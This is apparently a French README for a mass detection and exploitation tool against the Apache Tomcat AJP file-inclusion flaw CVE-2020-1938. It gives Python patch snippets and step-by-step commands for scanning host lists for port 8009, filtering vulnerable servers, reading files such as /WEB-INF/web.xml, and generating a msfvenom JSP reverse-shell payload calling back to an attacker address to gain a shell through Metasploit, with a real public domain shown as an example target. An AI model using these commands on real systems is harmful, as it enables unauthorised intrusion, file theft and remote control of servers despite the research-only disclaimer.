
Outils de détection CVE-2020-1938 / CNVD-2020-1048
L'outil est destiné uniquement à la recherche en sécurité et aux audits internes. Il est interdit d'utiliser l'outil pour lancer des attaques illégales. Les conséquences sont à la charge de l'utilisateur.
Outil de détection en masse pour la vulnérabilité d'inclusion de fichier Apache Tomcat (CVE-2020-1938 / CNVD-2020-1048).
Ce projet est basé sur le projet de Kit4y avec des modifications.
Lorsque ip.txt ne contient qu'un seul nom de domaine ou IP, threadCount est défini à 1, ce qui empêche le programme de s'exécuter. Code ajouté pour vérifier le nombre de threads :
...
if threadCount == 1:
threadCount = 2
for i in range(0,threadCount-1):
...
self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))
if sys.version_info < (3, 0):
self.stream = self.socket.makefile("rb", bufsize=0)
else:
self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
print("".join([d.data for d in data]))
else:
print(b"".join([d.data for d in data]).decode("UTF-8"))
1. Placez les noms de domaine/IP à analyser dans ip.txt, par exemple :
127.0.0.1
www.baidu.com
2. python threading-find-port-8009.py
Analyse les noms de domaine/IP dans ip.txt pour trouver ceux qui ont le port 8009 ouvert, et les enregistre dans le fichier 8009.txt généré.
3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
Filtre les URL vulnérables depuis 8009.txt et les place dans vul.txt. Les noms de domaine présents dans vul.txt sont ceux qui sont vulnérables.
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
Par défaut, il lit le dossier ROOT sous webapps. Modifier '/asdf' en '/test/asdf' permet d'accéder au contenu du répertoire test sous webapps.
t.perform_request('/asdf',attributes=[
Si le serveur a également une vulnérabilité de téléchargement de fichier, téléchargez le shell.txt ci-dessous :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
Modifiez '/asdf' en '/asdf.jsp', lancez MSF, puis utilisez l'outil PoC pour obtenir un shell.